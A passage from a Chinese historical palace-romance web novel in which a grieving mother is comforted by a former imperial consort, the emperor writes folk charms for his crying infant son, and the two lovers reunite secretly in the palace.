棠姐儿趴在摇篮边,好奇地看着里面熟睡的婴儿,伸出小手指轻轻戳了戳弟弟的脸蛋,忽然歪着头,奶声奶气地嘟囔了一句:“娘,弟弟怎么好像瘦了?……” 童言无忌,却刺中了薛嘉言最脆弱的心防。她眼前立刻模糊一片,慌忙转过身,不叫棠姐儿看见她眼里的伤痛。 连棠姐儿都能看出孩子跟一样不一样了,拾英更不能让外人看到,便借口孩子病了,要多休息,不许栾氏来看。 栾氏心中焦急,却也不敢违逆春和院的决定,整日唉声叹气。 在春和院众人的照料下,那孩子一天一个模样地长起来,渐渐丰润白皙,稀疏的胎发变得乌黑,眼睛也睁得更大更亮。 薛嘉言冷眼看着这一切,孩子越健康,越白胖,就越提醒她,这一切不过是为了让这个孩子更像阿满而已。 她无法再唤这个孩子“阿满”。她的阿满,已经被夺走了。眼前这个,是另一个孩子。 一日午后,孩子刚刚吃饱,睁着乌溜溜的眼睛,好奇地四处张望,小手在空中无意识地抓挠。薛嘉言站在几步之外,静静地看着。 良久,她缓缓走近,伸出手指,极轻地碰了碰孩子柔软的手心。孩子下意识地握住她的指尖,那温热柔软的触感,让她冰封的心湖微微漾开一丝极细微的涟漪。 她目光依旧落在孩子脸上,轻声道:“以后……就叫你‘宁儿’吧。” 安宁的宁。既是她对这个孩子颠沛命运的祈愿,希望他能在此获得一丝安宁;又何尝不是对她自己此刻心境的祝愿,也不知此生还能不能真的获得安宁。 春和院里,从此多了一个名叫“宁儿”的小少爷。而那个曾让满院欢喜、让薛嘉言倾注了母爱与希望的“阿满”,只留下一个名字和母亲心口永不愈合的伤疤。 这日夜幕降临时,春和院里已点了灯,薛嘉言强打起精神,坐在临窗的榻上,就着一盏明亮的琉璃灯,翻阅着厚厚的账册。 春桃走进来,压低声音禀告:“主子,外头门房传话进来,说来了一位甄氏夫人想见您。” 薛嘉言一愣,甄氏?她很快想到了甄太妃,立刻放下账册,坐直了身体:“快!快请进来!直接引到这儿来。” 第204章 劝慰 不多时,脚步声由远及近,门帘被轻轻挑起,一位身着深青色杭绸褙子、同色马面裙的妇人走了进来。她头上戴着一顶轻纱帷帽,遮住了面容,身形却挺拔从容,步履间自有一股沉静气度。 想来是怕引人注意,甄太妃今日特意做了寻常妇人的打扮。 进了屋,甄太妃才抬手,缓缓将帷帽摘下,递给侍立在一旁的拾英。 灯光下,甄太妃那张清瘦却依旧温雅的面庞微微含笑,她未施粉黛,头发只用一根简单的乌木簪子绾了个低髻,几缕银丝夹杂在黑发中,更添几分岁月沉淀的韵味。 “七姑奶奶!”拾英接过帷帽,几乎是用气音喊了出来,眼圈瞬间就红了。 甄太妃看向拾英,目光柔和,含笑道:“你是拾英吧,许久不见了。不过,世间早已再无‘甄七娘’。往后,便唤我‘素华真人’吧。” 拾英含泪点头,连忙改口:“是,真人。” 上次去枫林苑,是司雨陪着薛嘉言去的,拾英这还是数年之后第一次见旧主。 当年甄太妃被强纳入宫,甄家陆续送了数十名仆从进京,一部分设法入了宫照应,更多的则散落在京城及周边的各种产业中,默默守护着他们的姑娘。 甄太妃假死遁世前,早已将这些人和大部分铺子,以隐秘的方式,逐步转移给了姜玄。拾英,便是这些人中的一个。 安抚了激动的拾英,甄太妃这才将目光完全投向一直安静站在一旁的薛嘉言。 眼前的女子,比她上次在枫林苑见到时,清减了何止一圈。原本莹润的脸颊瘦削下去,下巴尖尖,眼窝深陷,即便在温暖的灯光下,也透着一股挥之不去的苍白与脆弱 “丫头,”甄太妃向前两步,伸出手,轻轻握住了薛嘉言微凉的手,声音温柔,“你瘦了。” 薛嘉言心中一酸,连忙低下头,用力眨了眨眼,将那几乎夺眶而出的泪水逼回去,强自扯出一个笑容,侧身让开,“真人快请坐,我刚沏了一壶茶,您尝尝。” 窗扉半掩,夏夜微凉的晚风徐徐送入,驱散室内的些许闷热。窗外,月华如水,星子疏朗,一两声窸窣虫声,更衬得这一室灯下的静谧。 两人在临窗地榻上相对坐下,甄太妃端起那盏清透碧绿的龙井,浅浅啜了一口,她轻轻放下白瓷杯盏,伸出手,温暖干燥的掌心覆上薛嘉言微凉的手背,轻轻拍了拍。 “丫头,”她的声音在寂静中显得格外柔和,沉静,“你受委屈了。” 只这一句,薛嘉言强忍了多时的泪水,再也无法蓄在眼眶,如同断了线的珠子,扑簌簌地滚落下来。她张了张嘴,喉咙却像是被什么堵住了,千言万语,万般痛楚,竟不知从何说起,只剩下无声的、汹涌的落泪。 甄太妃没有催促,只是静静地看着她,目光里充满了怜惜。她抽出绢帕,动作轻柔地替薛嘉言拭去那仿佛流不尽的泪水,语气愈发温和: “我虽未曾亲身经历十月怀胎、一朝分娩之痛,但栖真是我亲眼看着,从那么丁点大,长成如今模样的。他小时候体弱,生病发热是常事,每次看他难受,我都跟着揪心,恨不能替他受了。那份牵肠挂肚,虽非生母,却也真切。更何况你。你是阿满的亲娘,是你给了他生命,是你熬过生死关将他带到这世上,这份血脉相连,这份被生生剥离的痛楚,我纵不能全然体会,亦能想象一二。” 她见薛嘉言的泪水非但没有止住,反而因她这番话流得更凶,便知是说到了她心坎最痛处。甄太妃用帕子更轻柔地擦拭,声音放得更缓,却带着一种令人安心的笃定: “好孩子,莫哭了。眼泪若能解决问题,我陪你流一流泪也无妨。可咱们得往前看。你信我,这事肯定能解决。栖真他绝不会让你们母子一直分离的。” 薛嘉言抬起泪眼朦胧的脸,望向甄太妃,眼中是溺水之人抓住浮木般的希冀与脆弱,声音哽咽着:“真的吗?” 甄太妃点点头,郑重道:“不是我替那孩子说好话。他心里的煎熬,半点不比你少。你瘦了,他也瘦了一大圈,眼下青黑,神情憔悴。前几日他来见我,跟我说话时,那副颓唐无措、茫然不知如何是好的模样……我认识他这么多年,还是头一回见。他不是个轻易外露情绪的人,更遑论在人前示弱。可为了这事,他是真的乱了方寸,痛到骨子里了。” 薛嘉言闻言,怔住了。她认识姜玄两世,见过他沉稳如山,见过他杀伐决断,见过他温柔缱绻,也见过他深沉难测,却独独难以想象“颓废无措”这四个字会与他联系在一起。 那个永远胸有成竹、仿佛一切尽在掌握的帝王,也会有如此彷徨的时刻?她心中半是酸楚,半是疑惑。 见她神色松动,甄太妃将话题引向更现实的考量,语气也严肃了几分: “好孩子,这件事,远非你想象的那般简单。他是皇帝,听起来似乎金口铁律,想要谁便能将谁纳入宫中。可真要做起来,牵一发而动全身,要顾及的东西太多太多。帝王行事,也并非全然随心所欲,更不是全无底线。” 她微微倾身,冷静道:“这世道,到底还是要讲几分伦常体统的。不是谁都那般……不顾脸面,儿媳可行,大姨子也行,妻侄女也行……全然罔顾人伦。栖真那孩子,心气高,是奔着要做一代明君、青史留名的。他比谁都更在乎身后名,更在意朝野清议、天下观瞻。让你此时入宫,名不正言不顺,于你,是千夫所指的骂名;于他,是德行有亏的污点;于阿满的未来,更是埋下隐患。他若全然不顾这些,那才真是昏聩了。” 第205章 振作起来 薛嘉言听着,喃喃道:“我没想过一定要入宫,做什么妃嫔贵人。我只是不想跟阿满分开了。若他愿意,我一辈子就这样,做个见不得光的外室,只要能陪伴着孩子,我也不是不可以。” “傻话。”甄太妃轻叹,握住她的手紧了紧,“一个男子若真心喜爱一个女子,怎会舍得让她永远躲在阴影里,没有名分,见不得光?那算什么喜爱?栖真眼下没有立刻给你名分,将你接入宫中,并非不愿,而是不能,更是在为你们更长远的将来筹谋。” 她将最残酷也最现实的利害关系,清晰地摆在薛嘉言面前: “阿满若一直留在宫外,将来想认祖归宗,也并非全无可能。但你要知道,他若将来有希望去争那个至高无上的位子,那么,他这个的身世,必定会成为政敌攻讦他最锋利的一把刀!到时候,你们母子要承受的,就不仅仅是分离之苦,而是生死之危!” 薛嘉言脸色白了白。 “所以,阿满必须进宫。必须从婴儿时期,就以‘皇子’的身份,名正言顺地在宫中长大,让所有人都习惯他的存在,将他的出身与皇宫牢牢绑定,不留任何可供质疑的缝隙。而你呢?你此时若也跟着去,以什么身份?一个夫君去世才几个月的寡妇!这孩子是谁的?你心里清楚,栖真心里清楚,可旁人如何得知?天下人会怎么说?史官的笔,又会如何记载这一笔?” 她每一个反问,都像重锤敲在薛嘉言心上。 “他们会说,皇帝强占臣妻,罔顾人伦!会说皇子出身不正,血统存疑!这些污言秽语,会像跗骨之蛆,伴随阿满一生,成为他永远洗刷不掉的耻辱和攻击他的利器!到那时,你今日忍受的分离之痛,与将来可能加诸于阿满身上的万劫不复相比,孰轻孰重?” 甄太妃所说的这些道理,薛嘉言在独自煎熬的深夜里,不是没有反反复复地想过、掂量过。可是,明白是一回事,接受是另一回事。源自天性的母爱,让她在理智与情感中左右摇摆。 她只想抱着自己的孩子,看着他一天天长大,听他叫第一声“娘亲”,看他蹒跚学步,将世间所有的温柔与爱都给他。 甄太妃看着她脸上怔忡茫然、挣扎痛苦的神色,心中了然,也更加疼惜。 “好孩子,我知道你舍不得。天底下哪个做娘的,舍得把自己的心头肉送到看不见、摸不着的地方去?”她顿了顿,目光深沉地看着薛嘉言的眼睛,“但是,正因为你是他的娘亲,所以,你才必须要舍得。” “这份‘舍得’,不是放弃,不是退缩,而是为了他的将来,也是为了你们的将来。” 甄太妃的语气逐渐加重,带着一种激励人心的力量,“你不仅要舍得暂时把他送进宫,更要为了他的将来努力活得精彩。栖真看重这孩子,寄予厚望,但你要明白,将来若真有一日,他要坐上那个至高无上的位置,光有皇帝的宠爱是远远不够的!他没有名义上的母族支撑,除了他父皇,你也要做他的后盾。” “你不能只沉溺在悲伤里。你要为他打算,用你的智慧,用你的能力,去为他铺路!”甄太妃的眼神灼灼,仿佛能点燃人心底的斗志,“好好的赚钱!赚很多很多的钱!钱不是万能的,但在很多时候,它能打通关节,能蓄养势力,能收买人心,能提供庇护,能做成许多明面上做不成的事!它能为你,更为他,铺一条路出来!” 甄太妃看着薛嘉言眸中渐渐闪神采,语气肯定道:“我留给栖真的那些产业里,他不是把粮行交给你打理了吗?我听说,你做得极好,不仅账目清晰,还在年景不好时暗中平抑了京郊粮价,救了急,也攒下了口碑。后来新开的布行,也被你经营得有声有色。这份本事,连栖真都私下里赞过。” “眼下,戚家是你说了算,再无那些碍手碍脚的人掣肘。这正是你放开手脚,大展拳脚的好时候!把你的嫁妆铺子经营好,把栖真留给你的那些产业盘活,把你的本事都用出来!你现在又有了诰命,将来便是无人敢小觑的‘财神娘娘’!” 这番话似一阵风,吹散了薛嘉言心头弥漫多日的绝望迷雾,露出属于她薛嘉言的坚韧与锋芒。 是啊!一时的分别不代表永远!即便阿满不能养在她膝下,她也绝不能就此消沉!她的振作起来,不仅是为自己,更是为了远在宫中的儿子!她要变得强大,要拥有足够的力量,在未来,成为儿子可以依靠的臂膀! 她看着甄太妃鼓励的眼神,重重地点了点头,眼中虽然还有未干的泪光,却已燃起了新的光彩。 甄太妃见状,欣慰地笑了,语气慈和:“说起来,咱们也是有些缘分的。你外祖父吕老太爷,当年与我二叔在丝帛生意上打过不少交道,是旧相识呢。只是后来世事变迁,联系少了。”她轻轻拍了拍薛嘉言的手背,“往后啊,你就把我当个长辈,别见外。有什么事,或是心情不好了,无处可说了,尽管来枫林苑找我。” 薛嘉言心中暖流激荡,她站起身,对着甄太妃,郑重地行了一个大礼。 这一夜,薛嘉言终于睡了一个好觉。 这一夜,姜玄却没有睡好。 长宜宫东配殿的灯火一直亮着,阿满从入夜起便开始了撕心裂肺的嚎哭,哭声洪亮而持久,任乳母如何颠哄、拍抚、检查,都无济于事。 姜玄看着乳母怀中那个哭得小脸皱成一团、浑身汗湿、连脖颈都挣红了的小小人儿,心里是又疼又急。 太医院的院判和两名擅长儿科的老太医都被火速召来,轮番诊视,望闻问切,又请了擅长小儿推拿的医女来轻轻揉按穴位,可孩子依旧哭嚎不止。 几位太医面面相觑,最终只能躬身请罪,说大殿下身体确无大碍。这夜啼之症,或为神气未定,偶受惊扰所致,实非药石可医。 第206章 夜哭郎 薛嘉言的寝衣,此刻裹在孩子身边,也仿佛失去了那神奇的安抚魔力。阿满只是闭着眼,张着嘴,用尽全身力气哭喊,仿佛要将满心的委屈与不安都宣泄出来。 姜玄在暖阁内焦躁地踱步,听着那几乎不间断的哭声,从未感到如此无力过。朝堂上的政敌可以弹压,边关的军情可以运筹,可面对这小小婴孩无休止的啼哭,他竟束手无策。 “陛下,您歇歇吧,还有两个时辰就要早朝了。”张鸿宝小心翼翼地上前劝道。 姜玄摆手打断他,语气有些烦躁:“阿满哭成这样,你叫我如何睡得着。” 这时,乳母觑着皇帝阴沉焦虑的脸色,战战兢兢地小声开口道:“陛、陛下……奴婢……奴婢在民间时,曾听说过一个法子,也不知…当讲不当讲。” “说!”姜玄立刻停步,目光锐利地看向她。 乳娘咽了口唾沫,低声道:“民间若是遇到小儿夜啼不止,医药无效,有时会……会贴‘夜哭郎贴’。说是孩子夜里哭闹,可能是冲撞了不安分的邪神,用这法子,能把邪神吓走,孩子就能安睡了。” “夜哭郎贴?是什么?如何贴法?”姜玄此刻已顾不得什么子不语怪力乱神,只要能让孩子停止哭泣,他都愿意一试。 奶娘壮了胆,详细说道:“就是用红纸,裁成小条,上面用朱砂墨写上:‘天皇皇,地皇皇,我家有个夜哭郎。过路君子念三遍,一觉睡到天大亮。’然后张贴到人多热闹的十字路口、市集街口、桥头树下这些地方。过路的人看到了,念上一遍,念的人多了,汇聚的人气就能把纠缠孩子的邪神吓跑,孩子晚上就能睡得安稳了。” 若是平日,听到这等荒诞不经的民间偏方,姜玄只怕会斥为无稽之谈。可此刻,他看着乳娘怀中那个哭得声音沙哑、小脸通红的儿子,什么理智判断,统统被他抛到了九霄云外。 他只有一个念头:让孩子别再哭了! “张鸿宝!”他立刻转身,声音急切,“速去准备红纸!朱砂墨!要快!” 张鸿宝不敢怠慢,连忙吩咐下去。不多时,一叠裁好的方正红纸和朱砂墨便呈了上来。 姜玄挽袖,提笔蘸饱了墨汁。他从未写过如此“不庄重”的文字,下笔时却异常认真,虔诚。他不停笔,一张接一张地写下去。 阿满终于哭得精疲力尽,嗓子彻底哑了,只剩下细微的抽噎,最终在乳娘疲惫的臂弯里沉沉睡去。姜玄也终于停下笔,揉了揉发酸的手腕,看着桌案上堆积如小山的红色纸条,心中稍稍一松。 他仔细看了看儿子安静的睡颜,这才对一直候着的张鸿宝吩咐道:“把这些,都拿出去。派人张贴到京城各个人多热闹的街口、市集、桥头。务必要让过路的人能看到,能念到。朕要阿满,明晚能睡个安稳觉。” “老奴遵旨。”张鸿宝小心翼翼地收起那厚厚一摞“御笔亲书”的夜哭郎贴,心中感慨万千。退出暖阁后,他叫来甘松,将事情仔细交代了,最后压低声音,特意叮嘱了一句:“记得挑几张,贴到元宝胡同附近显眼的地方。让拾英知道这事儿。” 甘松是机灵人,立刻会意,抱着那摞沉甸甸的红纸,领命而去。 晌午,天气有些闷热,薛嘉言正陪着棠姐儿吃冰碗。拾英从外面回来,手里拿着一张红纸。 “主子,您瞧瞧这个。” 薛嘉言接过来,疑惑地低头看去。那是一张普通的红纸,上面写着四行字,是民间常见的夜哭郎贴,写字的人笔力一般,应该不是从小练就的童子功…… 纸上笔锋间无意流露出的力度和转折习惯,让她感到一丝熟悉。 薛嘉言的手指微微颤抖了一下,猛地抬头看向拾英,眼中满是难以置信:“这……这是他写的?”那个“他”字,说得极其艰涩。 拾英点了点头:“是。甘松说阿满昨夜不知为何,哭闹得厉害,太医看了也说不出所以然,皇上急得整夜没合眼,听乳娘说了这民间的偏方,便亲自裁纸磨墨,写了几百张这样的‘夜哭郎贴’,连夜让人张贴到京城各处人多的地方去了。” 薛嘉言听完,心中顿时五味杂陈。 她心疼阿满夜里竟然哭得那样厉害,是哪里不舒服?还是想娘了?她恨不能立刻飞进宫去,将他抱在怀里好好安抚。 她亦惊讶姜玄竟然也会相信这等荒诞不经的民间土方,还会亲手写下这些在他看来恐怕是“愚昧”的字句,只为求得孩子一夜安眠? 酸涩与动容同时漫上心头,薛嘉言想,他或许也是在乎这个孩子吧。 拾英见状顺势劝道:“主子,你若想去看看阿满,不如我给张公公递句话。” 薛嘉言半晌没有作声。她很想去看看阿满,可那日撂下的那些狠话,字字句句如今回想起来仍觉刺心。姜玄当时骤然沉寂下去的脸色,和眼里的痛色,她到现在还记得。 他……不知是不是还在生她的气。 拾英瞧着她眉心微蹙、欲言又止的模样,便知她的心结所在,柔声缓语道:“主子,两个人之间有了龃龉,总归要有一个人先主动和解。您要是不想主动,咱们也可以等着,我瞧着陛下心里始终有您,过一阵子气消了,肯定忍不住要来找您的。” 她略顿了顿,又道:“可是您若是主动去找他,那陛下该多愧疚,多感动。总归是为了阿满,您又不可能这辈子不见陛下了,何不先迈出这一步?也让陛下知道,您心里……是顾念着他、心疼他的。” 薛嘉言听着,觉得拾英说得在理。她与姜玄之间,横着一个阿满,血脉牵连,如何能真的一刀两断?上次她盛怒之下口不择言,将他回护、付出都全盘否定。 那一巴掌打得响亮,如今,也确实该递颗甜枣了。 薛嘉言抬眼看向拾英,轻声道:“你说的是。便……递个话吧。” 第207章 你真好 入夜后,暮色四合,皇城的轮廓在渐深的蓝黑天幕下显得格外肃穆。 薛嘉言换上甘松送过来的太监衣裳,头发尽数绾进同色的太监帽中,又用黄粉将脸涂得黑了一些,眉毛画粗,乍一看就是个跟甘松差不多大的小太监。 张鸿宝亲自在外接应,低声道:“薛主子跟着老奴,只需低头看路,无论遇到何人,莫要抬头,莫要出声。” 薛嘉言点了点头,手心竟有些微潮。她并非第一次这般潜入宫闱,但今夜的心境,却与以往任何一次都不同,而且她敏锐地察觉到张鸿宝似乎比从前更紧张了些。 几人一路穿行在宫墙夹道之中,夜色掩映,偶尔遇到巡夜的侍卫或匆忙走过的宫人,张鸿宝只略一点头,对方见是御前大总管,亦不敢多问多看。 终于进入了长宜宫,张鸿宝引着她并未直接去往正殿,而是先绕到侧殿净房,叫了玉珍来伺候薛嘉言梳洗一下,总不能这个样子去见皇帝 约莫一炷香后,薛嘉言简单梳洗,换了一身宫女的衣裳,这时张鸿宝过来了,带着她去了寝殿。 或许真是“夜哭郎贴”真的起了作用,又或是孩子白日里哭累了,这一夜,阿满并未像前夜那般撕心裂肺地长时间啼哭。只在戌时初小声呜咽了一阵,便在乳母轻柔的拍哄和哼唱中,沉入了梦乡。 姜玄看着阿满沉睡的模样,紧绷了一整日的肩背线条才肉眼可见地松弛下来。他长长舒出一口气,挥了挥手,声音带着疲惫:“乳娘辛苦了,看赏。” 夏夜的热浪一阵阵涌来,即便殿角置了冰,依旧驱不散闷热。姜玄冲凉后,换上一身轻薄的寝衣,躺到了床上。这些日子着实有些累,他几乎是一沾到柔软的被褥,便阖上沉重的眼皮。 这时,姜玄听到一阵细微的脚步声,他眼皮都没抬,低哑着说道:“朕不想喝茶,出去吧,别叫任何人打搅……”话音刚落,他似乎又想起什么,补充道:“若是大殿下有事,一定要叫醒我。” 薛嘉言心头一酸,不再犹豫,上前柔声道:“陛下劳累了,喝杯参茶再睡吧。” 榻上的身影猛地一僵,随即倏然坐起!姜玄火速转过身,一把扯开纱帘。 烛光跃动,映亮了彼此的脸。 姜玄怔住了,呼吸仿佛在瞬间停滞。所有的疲惫,所有的焦虑,在这一刻被惊喜冲散,他双眸中像是星河,绽放着神采。 薛嘉言被他这直勾勾的目光看得有些脸颊发热,她努力维持着表面的镇定,将手中的托盘轻轻放到榻边的矮几上。瓷器与木几接触,发出轻微的一声“嗒”。 这细微的声响仿佛解开了某种定身的咒语。 下一刻,两人几乎同时动作。姜玄激动地掀被下榻,赤足站在冰凉的金砖地上。而薛嘉言也已转身,扑进了他的怀里。 姜玄的手臂紧紧环住了她,用力之大,仿佛要将她揉进自己的骨血之中。 薛嘉言的脸埋在他胸前,隔着轻薄柔软的寝衣,能清晰听到他失控般剧烈的心跳声,咚咚,咚咚,敲打着她的耳膜,也敲打着她的心扉。她环在他腰后的手臂,同样收得很紧。 姜玄将头深深埋进薛嘉言的颈窝,鼻尖萦绕着她身上熟悉的、淡淡的馨香,让他连日来紧绷的神经一点点松弛下来。 那是一种难以言喻的安心,是再多的冰鉴也带不来的清凉慰藉。 眼眶毫无征兆的阵阵发热,酸胀得厉害,他闭上眼,将那份险些夺眶而出的湿意用力压了回去,只是更紧、更沉地拥抱着怀中这失而复得的温暖与真实。 半晌,他才从喉间发出一声近乎叹息的、沙哑的低喃,热气拂过她的耳廓: “言言……” 薛嘉言嗯了一声,脸颊在他胸膛蹭了蹭。 好一会儿,姜玄才深深吸了一口气,努力克制住胸腔里翻腾的情绪,双臂稍稍松开一些力道,却仍将薛嘉言圈在怀中,低头看她。 烛光在她眼中跳跃,映出他此刻略微泛红的眼眶和专注的神情。他喉结滚动了一下,声音沙哑地问:“你怎么来了?” 薛嘉言抬起眼,唇角却微微上翘,故意带了点埋怨,“你不去找我,我自然只好来找你了。” 姜玄心头一紧,急忙解释:“我怕你还在生我的气,看到我更伤心,想着,再等两天,总得让你消消气。对不起,言言,我……”他顿住,似乎不知该如何继续说下去,千头万绪,堵在喉间。 “对不起,栖真。”薛嘉言却轻声打断了他。 姜玄浑身微微一震,环着她的手臂又收紧了些,呢喃着:“言言,别这么说……你这样,我心里更难受。” 薛嘉言柔声道:“我那晚说的……是气话。你别往心里去。” “我知道,”姜玄立刻接口,下颌轻轻蹭了蹭她的发顶,叹息般道,“我都知道的。言言,你真好……”千言万语,最终只化作这最简单的一句喟叹。 她肯来,肯说这些话,于他而言,已是莫大的慰藉与恩赐。他拥着她,心中被一种近乎圆满的安宁与满足充盈。一个念头在此刻无比清晰而坚定:他定要尽快扫清一切障碍,解决所有麻烦,让她不必再如此委屈隐忍,能陪伴在阿满身边,看着他长大。 两人静静相拥片刻,薛嘉言才低声开口:“栖真,我能去看看阿满吗?” “当然,”姜玄不假思索,松开她,转而握住她的手,十指相扣,“走,咱们一起去看看阿满。” 东配殿里只留了一盏守夜的小灯,光线昏黄柔和。乳母陪在阿满身边小憩,听到动静起身行礼,被姜玄一个手势悄然制止,低声道:“你先出去吧。” 阿满在小床上睡得正沉,小小的身子裹在轻薄的绸被里,只露出一张粉雕玉琢般的小脸。 薛嘉言轻轻在床边坐下,目光贪婪地流连在孩子的脸庞上,仿佛怎么也看不够。看着看着,眼眶便不受控制地湿热起来,视线渐渐模糊。 第208章 宁儿的身世 或许是母子间奇妙的心电感应,睡梦中的阿满忽然动了动,小嘴巴无意识地咂巴了两下,发出一点含糊的呓语。薛嘉言的心瞬间软成一汪水,小心地伸手,将孩子连同小薄被一起,稳稳抱入怀中。 阿满似乎嗅到了熟悉又渴望的气息,小脑袋在她怀里依赖地拱了拱,寻找更舒适的姿势,很快便又陷入更深沉的睡眠,小手无意识地抓住了她胸前的衣襟。 薛嘉言低头,痴痴地看着怀中这张安恬的睡颜,心口涨得满满的,酸涩与甜蜜交织。她俯身,轻轻将一个吻落在孩子的额头上,久久不曾移开。 姜玄一直默默站在她身侧,目光温柔地流连在这一大一小两个身影上,过了好一会儿,他才低声在薛嘉言耳边道:“让他好好睡吧,咱们两个说说话?” 薛嘉言知道时辰不早,此番冒险入宫,见面不易,还有许多未尽之言、未解之事需要沟通。她眷恋不舍地又看了阿满几眼,才万分轻柔地将孩子放回小床,仔细掖好被角,尤其盖住了他的小肚子。做完这一切,她才一步三回头地,由着姜玄牵着她的手,回到了寝殿之中。 薛嘉言依偎在姜玄身侧,轻声问道:“栖真,你送来的那个孩子,我给他起了小名,叫宁儿。我总得知道这孩子的来历,总不能不明不白地养着一个孩儿。” 姜玄闻言,握着她的手,脸上掠过一丝愧色。他低声开口:“当初计划接走阿满,我让苗菁在京城内外,暗中寻访孕期与你相近、且家境贫寒的产妇。须得是夫妻二人相貌皆端正清秀的,如此生下的孩子,样貌才不至于差得太远,日后养在你身边,也不易惹人生疑。本想着待你生产后,从中挑选最合适的一个,将阿满换出来。” 他停顿了一下,眸光微凝,续道:“谁知,就在你临盆前些日子,苗菁府上,突然来了一位不速之客。是一位怀着身孕的女子,名叫阿娅,她是苗疆最大部族‘九黎部’的圣女。” 薛嘉言微微睁大了眼睛,苗疆圣女?这身份着实出乎意料。 姜玄知她惊讶,细细解释道:“这阿娅性子刚烈,因与族中长老赌气,独自离家出走,游历中原。途中,她意外救下了四海商会的大少爷,沈峥。这沈峥,明面上是个生意人,富甲一方,暗地里,还有另一重身份——锦衣卫北镇抚司的同知。” “两人一路同行,沈峥伤势渐愈,阿娅又精通蛊医之术,助他良多。共历了几番生死险境,情愫暗生,后来便有了身孕。沈峥要带阿娅回沈家正式成亲。奈何……”他叹息一声,“归家途中,遭遇精心布置的截杀,对方手段狠辣,准备周全,沈峥为了护阿娅尸骨无存。” “沈家豪富,内里却盘根错节,明争暗斗从未停歇。沈峥本身既是商会继承人,又是锦衣卫要员,他所牵扯的利益与仇敌实在太多,一时半会也没办法追杀的到底是什么人。阿娅不敢贸然带着遗腹子去沈家认亲,孤儿寡母,无异于羊入虎口,恐怕尚未见到家主,便已遭了毒手。走投无路之下,她便投奔了苗菁。” 薛嘉言听得入神,心中已为这女子的遭遇揪紧。 “苗菁收留了她,命人悉心照料。奈何阿娅生产时遭遇难产,耗尽了心力,虽然艰难生下了孩子,自己却没能熬过去。”姜玄的声音低沉下去,“临终前,她求苗菁,无论如何,要将这孩子平安养大,不必让他知晓身世,只求他能做个普通平安人,远离那些是非纷争。” “苗菁将此事密报于我,我思虑再三。”姜玄看向薛嘉言,“当时我想,与其随便找一个普通百姓家的孩子,不如就养大沈峥的遗孤。这孩子,父母皆非池中之物,母亲是苗疆圣女,血脉特殊,天赋异禀;父亲智勇双全,能执掌巨富之家,又能任职锦衣卫机要,心性能力皆是上乘。这样的孩子,资质心性,想来总强于寻常婴孩。由你亲自教导抚养,将来或可成为阿满的臂助,亦是一份难得的缘分与因果。” 薛嘉言听罢,久久无言。她初时只道是姜玄寻来的普通替换孩子,却未曾想,这小小襁褓中的宁儿,身世竟如此曲折坎坷。 她默默叹息一声,心中对那早逝的苗疆圣女阿娅生出几分怜惜与敬意,再想到宁儿懵懂无知的小脸,心底生出一份疼惜。 姜玄说完宁儿的身世,他将薛嘉言更紧地拥在怀中,声音低缓得仿佛自言自语: “言言,从前……我总以为母妃是深恨我的。” 他的声音有些哽咽,薛嘉言心头微微一颤。 前世在宫中,薛嘉言确实隐约听过关于姜玄生母的零星闲话。宫人们说她性情孤拐冷情到了极处,当年还是稚龄皇子的姜玄在冷宫中病得气息奄奄,高烧不退,她竟能守在一边,不哭不求,近乎漠然。最后还是甄太妃设法弄来药材,才勉强救回姜玄一条小命。 “可是,”姜玄的声音将她从回忆里拉回,“这些日子,我带着阿满才渐渐有些明白了。” 他顿了顿,似在整理那些汹涌而来的情绪:“原来,一个小小的婴孩,竟是这般难照料。怕他冷,怕他热,怕他饿,怕他疼。他不会说话,一切不适都只能用哭来表达,而你需得从那似乎毫无分别的啼哭里,费力分辨他究竟需要什么。一夜惊醒数次是常事,即便有乳母宫人无数,一颗心也总是悬着,无法真正安枕。” 他的声音更低了些,带着迟来了二十年的恍然与涩意:“我出生时,母妃已在冷宫。那里什么都没有。缺衣少食,炭火药物更是奢望。没有太医问诊,没有经验丰富的嬷嬷帮衬,甚至可能连一口干净的热水都难得。”他的喉结滚动了一下,“她能在那样的境地,独自一人,将我从襁褓中的婴孩,养活下来……没有让我夭折在那个冬天,或许,已经用尽了她的全部力气,做了她能做到的一切了。” 第209章 连消带打 薛嘉言静静地听着,心中愈发疼惜。她意识到,身边这个拥有天下、看似无所不能的男人,在情感的土壤上,是何等荒芜与贫瘠。寻常人最易得、也最视为理所当然的母爱,于他而言,却是一道迟解了二十年的谜题,一份直到自己成为父亲,才艰难回溯、勉强寻觅到一丝痕迹。 酸楚漫上鼻尖,薛嘉言微微仰起头,在他的唇上,轻轻印下一个吻。那吻温热而柔软,带着抚慰。 “是,”她柔声肯定道,“你母妃一定是用她的方式,爱着你的。只是那时太难了,难到或许顾不上让你感觉到她的爱。” 她注视着他的眼睛,在那深邃的眸子里看见自己的倒影,然后一字一句,郑重而温柔地补充:“以后,会有更多的人爱你。比如我,”她指尖轻轻点了点他的心口,“比如阿满。我们都会,很爱很爱你。” 姜玄浑身一震,随即像是再也承受不住这汹涌而来的暖流与慰藉,猛地低下头,回吻薛嘉言。 两人的唇瓣刚刚分离,气息交织,温热未散。姜玄的呼吸渐渐有些紊乱,眼底的欲色涌上来。 便在此时,寝殿门口响起了张鸿宝的声音: “陛下,时辰不早了。” 薛嘉言长长的睫毛颤动了一下,眼中迷离的水光迅速恢复了清明。她知道,张鸿宝其实是来提醒她的。 薛嘉言深吸一口气,抬起手,掌心温柔地抚上姜玄的脸颊。 “栖真,”她轻声唤他,声音比方才更加柔和,又带着一种令人心安的坚定,“我能等。” 这三个字,她说得缓慢而清晰,仿佛每一个字都有重量。 “我相信你。”她又补充道,唇角漾开一丝极浅却温暖的弧度。 “言言……”姜玄的声音沙哑,带着浓重的不舍,手臂收紧,将她最后用力搂了一下,才万分不愿地松开,“真舍不得你走。” “过几日,”他看着她,目光灼灼,“我去看你。” 薛嘉言笑了,她点了点头,依依不舍出了寝殿。 第二日,姜玄便雷厉风行地加紧了动作。一道口谕直出宫门,宣雍王即刻进宫叙话。 雍王自甄太妃被救走和康王谋逆的事之后,本就如同惊弓之鸟,日夜难安,接到宣召更是心头猛跳,硬着头皮入了宫。 姜玄并未疾言厉色,只如同闲话家常般,叹道:“说起来,朕前些日子偶遇了一位得道高人,名唤素华真人。真人潜心修道,德行高洁,竟也有俗世纷扰沾身,实在不该。” “素华真人”四字入耳,雍王脑中“嗡”的一声,脸色瞬间褪尽血色。他膝下一软,“噗通”一声跪倒在金砖地上,额角顷刻间渗出冷汗。 